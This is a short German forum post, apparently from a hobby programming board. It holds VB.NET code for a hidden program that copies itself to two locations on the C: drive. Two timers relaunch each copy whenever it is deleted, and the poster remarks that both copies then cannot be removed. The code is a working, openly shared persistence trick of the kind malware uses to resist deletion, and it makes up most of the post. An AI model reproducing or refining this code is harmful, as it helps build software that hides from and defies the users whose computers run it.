Joo
Ich habs grade mit 1ner .exe versucht.
aber am Ende lassen sich beide nicht mehr löschen weil bei beiden der Zugriff verweigert wird ^^

Code:
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Hide()
        Try

            IO.File.Copy(Application.ExecutablePath, ("C:\first.exe"))

            IO.File.Copy(Application.ExecutablePath, ("C:\second.exe"))

        Catch ex As Exception

        End Try

        Timer1.Interval = 4000
        Timer1.Start()
        Timer2.Interval = 4000
        Timer2.Start()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Me.Hide()
        If IO.File.Exists("C:\first.exe") = False Then
            IO.File.Copy(Application.ExecutablePath, ("C:\first.exe"))
            Try
                Process.Start("C:\first.exe")
            Catch ex As Exception

            End Try
        End If
    End Sub

    Private Sub Timer2_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Me.Hide()
        If IO.File.Exists("C:\second.exe") = False Then
            IO.File.Copy(Application.ExecutablePath, ("C:\second.exe"))
            Try
                Process.Start("C:\second.exe")
            Catch ex As Exception

            End Try
        End If
    End Sub
End Class